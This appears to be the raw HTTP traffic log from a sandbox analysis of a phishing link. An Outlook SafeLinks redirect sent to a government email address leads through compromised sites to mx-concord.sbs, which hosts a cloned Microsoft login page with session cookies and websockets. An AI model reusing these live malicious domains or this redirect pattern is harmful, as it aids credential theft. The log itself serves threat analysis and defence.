Source: global traffic	HTTP traffic detected: GET /?url=https%3A%2F%2Fapi.emailinc.net%2Fc.jsp%3Fl%3D47tqdjb4%26s%3Dx88b4wkuqe%2523dfsdtosprzvzvrezddwsssfujcrmy&data=05%7C02%7Cfchun%40santaclaraca.gov%7Cd42eb09f396a4d88f53a08dcc773c040%7C28ea354810694e81aa0b6e4b3271a5cb%7C0%7C0%7C638604548020847503%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C40000%7C%7C%7C&sdata=AckqBHV5qsCwN%2FCw%2F20sZvnkf6KYipPkgDNNzPKfaLk%3D&reserved=0 HTTP/1.1Host: gcc02.safelinks.protection.outlook.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /c.jsp?l=47tqdjb4&s=x88b4wkuqe%23dfsdtosprzvzvrezddwsssfujcrmy HTTP/1.1Host: api.emailinc.netConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-about HTTP/1.1Host: willyadventures.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-about/ HTTP/1.1Host: willyadventures.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /vm/Oauth-vm-office-caller-api/win10.php HTTP/1.1Host: avco.co.jpConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://willyadventures.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?lit=up HTTP/1.1Host: portal.mx-concord.sbsConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://avco.co.jp/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?lit=up HTTP/1.1Host: portal.mx-concord.sbsConnection: keep-aliveCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://portal.mx-concord.sbs/?lit=upAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="
Source: global traffic	HTTP traffic detected: GET /ab?clientId=B5786FF8-3453-4616-B94D-5348C714CD0F HTTP/1.1X-OfficeApp-BuildVersion: 16.0.11629.20316Accept-Encoding: gzip, deflateX-OfficeApp-Platform: universalX-OfficeApp-Language: en-CHX-OutlookMobile-Architecture: x64X-OutlookMobile-BuildFlavor: shipX-OutlookMobile-Environment: ProductionX-OfficeApp-MsoVersion: 10.0.19045X-OutlookMobile-HxServiceAccounts: NoneContent-Length: 0Content-Encoding: gzipHost: outlookmobile-office365-tas.msedge.netConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/BssoInterrupt_Core_JQnUxWSvwsd9FrpspQmznw2.js HTTP/1.1Host: a230fc93-b128254c.mx-concord.sbsConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://portal.mx-concord.sbssec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://portal.mx-concord.sbs/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /settings/v2.0/office/olx?app=microsoft.windowscommunicationsapps&appVer=16.0.11629.20316&locale=en-CH&os=WINDOWS&osVer=10.0.19045&deviceClass=Windows.Desktop&deviceId=B5786FF8-3453-4616-B94D-5348C714CD0F&ring=7 HTTP/1.1Accept: /User-Agent: microsoft.windowscommunicationsappsAccept-Language: en-CHAccept-Encoding: gzip, deflate, brHost: settings.data.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /b128254cc16e4b1faaf8773d457e256b/ HTTP/1.1Host: portal.mx-concord.sbsConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://portal.mx-concord.sbsSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="Sec-WebSocket-Key: E15bHrLRzfGpELDeTCf7nA==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/BssoInterrupt_Core_JQnUxWSvwsd9FrpspQmznw2.js HTTP/1.1Host: a230fc93-b128254c.mx-concord.sbsConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="
Source: global traffic	HTTP traffic detected: GET /?lit=up&sso_reload=true HTTP/1.1Host: portal.mx-concord.sbsConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://portal.mx-concord.sbs/?lit=upAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: portal.mx-concord.sbsConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://portal.mx-concord.sbs/?lit=upAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/converged.v2.login.min_qzvqnltrxpy99ajspyxbgq2.css HTTP/1.1Host: 96f04cf4-b128254c.mx-concord.sbsConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://portal.mx-concord.sbssec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: styleReferer: https://portal.mx-concord.sbs/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/ConvergedLogin_PCore_2P9n4TNNrWcgKwW6Mt6tGA2.js HTTP/1.1Host: 96f04cf4-b128254c.mx-concord.sbsConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://portal.mx-concord.sbssec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://portal.mx-concord.sbs/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_tzwwq6wdslxjdiwzdatg6a2.js HTTP/1.1Host: 96f04cf4-b128254c.mx-concord.sbsConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://portal.mx-concord.sbssec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://portal.mx-concord.sbs/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=C+fzv3fwMBU6XPK&MD=76YP+26l HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /Me.htm?v=3 HTTP/1.1Host: l1ve.mx-concord.sbsConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Purpose: prefetchSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://portal.mx-concord.sbs/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_tzwwq6wdslxjdiwzdatg6a2.js HTTP/1.1Host: 96f04cf4-b128254c.mx-concord.sbsConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/ConvergedLogin_PCore_2P9n4TNNrWcgKwW6Mt6tGA2.js HTTP/1.1Host: 96f04cf4-b128254c.mx-concord.sbsConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="
Source: global traffic	HTTP traffic detected: GET /b128254cc16e4b1faaf8773d457e256b/ HTTP/1.1Host: portal.mx-concord.sbsConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://portal.mx-concord.sbsSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1Sec-WebSocket-Key: bw8So5cCq/UA1tSa/RLeJg==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_6c7dc46bb93924417b57.js HTTP/1.1Host: 96f04cf4-b128254c.mx-concord.sbsConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://portal.mx-concord.sbs/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="
Source: global traffic	HTTP traffic detected: GET /Prefetch/Prefetch.aspx HTTP/1.1Host: 2380eb27-b128254c.mx-concord.sbsConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://portal.mx-concord.sbs/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_6c7dc46bb93924417b57.js HTTP/1.1Host: 96f04cf4-b128254c.mx-concord.sbsConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1Host: 96f04cf4-b128254c.mx-concord.sbsConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://portal.mx-concord.sbs/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg HTTP/1.1Host: 96f04cf4-b128254c.mx-concord.sbsConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://portal.mx-concord.sbs/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1Host: 96f04cf4-b128254c.mx-concord.sbsConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://portal.mx-concord.sbs/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1Host: 96f04cf4-b128254c.mx-concord.sbsConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://portal.mx-concord.sbs/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_92013fd9f2f609d397ae.js HTTP/1.1Host: 96f04cf4-b128254c.mx-concord.sbsConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://portal.mx-concord.sbs/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="
Source: global traffic	HTTP traffic detected: GET /b128254cc16e4b1faaf8773d457e256b/ HTTP/1.1Host: portal.mx-concord.sbsConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://portal.mx-concord.sbsSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; brcap=0Sec-WebSocket-Key: HH4u3/6iPWg6HR00mLVanQ==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg HTTP/1.1Host: 96f04cf4-b128254c.mx-concord.sbsConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1Host: 96f04cf4-b128254c.mx-concord.sbsConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1Host: 96f04cf4-b128254c.mx-concord.sbsConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="
